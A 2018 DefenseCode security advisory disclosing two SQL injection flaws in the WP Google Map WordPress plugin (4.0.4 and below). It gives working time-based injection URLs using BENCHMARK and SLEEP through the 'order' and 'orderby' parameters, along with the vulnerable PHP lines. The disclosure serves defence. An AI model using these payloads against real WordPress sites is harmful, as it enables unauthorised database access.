DefenseCode

DefenseCode ThunderScan SAST Advisory

WordPress WP Google Map Plugin

Multiple SQL injection Security Vulnerabilities

WordPress WP Google Map Plugin – Multiple SQL injection Security Vulnerabilities	
Advisory ID:	**DC-2018-05-002**
Software:	**WordPress WP Google Map Plugin**
Software Language:	**PHP**
Version:	**4.0.4 and below**
Vendor Status:	**Vendor contacted, no response**
Release Date:	**2018/06/12**
Risk:	**High**

1. General Overview

During the security audit of WP Google Map plugin for WordPress CMS, multiple SQL injection vulnerabilities were discovered using DefenseCode ThunderScan application source code security analysis platform.

More information about ThunderScan is available at URL:
http://www.defensecode.com

2. Software Overview

According to the plugin developers, WP Google Map is #1 Google Maps plugin for WordPress. It allows you to create google maps shortcodes to display responsive google maps on pages, widgets and custom templates.

According to wordpress.org, it has more than 100,000 active installs.

Homepage:
https://wordpress.org/plugins/wp-google-map-plugin/
https://www.wpmapspro.com/

3. Vulnerability Description

During the security analysis, ThunderScan discovered SQL injection vulnerabilities in WP Google Map WordPress plugin.

The easiest way to reproduce the vulnerabilities is to visit the provided URL while being logged in as administrator or another user that is authorized to access the plugin settings page. Users that do not have full administrative privileges could abuse the database access the vulnerabilities provide to either escalate their privileges or obtain and modify database contents they were not supposed to be able to.

Due to the missing nonce token, the vulnerable code is also directly exposed to attack vectors such as Cross Site request forgery (CSRF).

3.1 SQL injection	
Vulnerable Function:	**$wpdb->get_results()**
Vulnerable Variable:	**$_GET['order']**

Vulnerable URL:

```
http://vulnerablesite.com/wp-
admin/admin.php?page=wpgmp manage location&orderby=location address&order=asc PROCEDURE
ANALYSE(EXTRACTVALUE(4242,CONCAT(0x42,(BENCHMARK(42000000,MD5(0x42424242)))))),42)
```

File: wp-google-map-plugin/core/class.tabular.php

```
520 $order   = ( ! empty( $_GET['order'] ) ) ? wp_unslash( $_GET['order'] ) : 'asc';
...
522 $query_to_run .= " order by {$orderby} {$order}";
...
530 $this->data = $wpdb->get_results( $query_to_run );
```

3.2 SQL injection	
Vulnerable Function:	**$wpdb->get_results()**
Vulnerable Variable:	**$_GET['orderby']**

Vulnerable URL:

```
http://vulnerablesite.com/wp-
admin/admin.php?page=wpgmp manage location&order=asc&orderby=location address%20AND%20(SELEC
T%20*%20FROM%20(SELECT(SLEEP(555)))xxx)&order=asc
```

File: wp-google-map-plugin/core/class.tabular.php

```
519 $orderby = ( ! empty( $_GET['orderby'] ) ) ? wp_unslash( $_GET['orderby'] ) : $this-
>primary_col;
...
522 $query_to_run .= " order by {$orderby} {$order}";
...
530 $this->data = $wpdb->get_results( $query_to_run );
```

4. Solution

All users are strongly advised to update WordPress WP Google Map plugin to the latest available version as soon as the vendor releases an update that fixes the vulnerabilities.

5. Credits

Discovered by Neven Biruski using DefenseCode ThunderScan source code security analyzer.

6. Disclosure Timeline

2018/05/11	**Vulnerabilities discovered**
2018/05/16	**Vendor contacted**
2018/06/08	**No response**
2018/06/12	**Advisory released to the public**

7. About DefenseCode

DefenseCode L.L.C. delivers products and services designed to analyze and test web, desktop and mobile applications for security vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security Testing, WhiteBox Testing) solution for performing extensive security audits of application source code. ThunderScan performs fast and accurate analyses of large and complex source code projects delivering precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security Testing, BlackBox Testing) solution for comprehensive security audits of active web applications. WebScanner will test a website's security by carrying out a large number of attacks using the most advanced techniques, just as a real attacker would.

Subscribe for free software trial on our website http://www.defensecode.com

E-mail: defensecode[at]defensecode.com

Website: http://www.defensecode.com
Twitter: https://twitter.com/DefenseCode/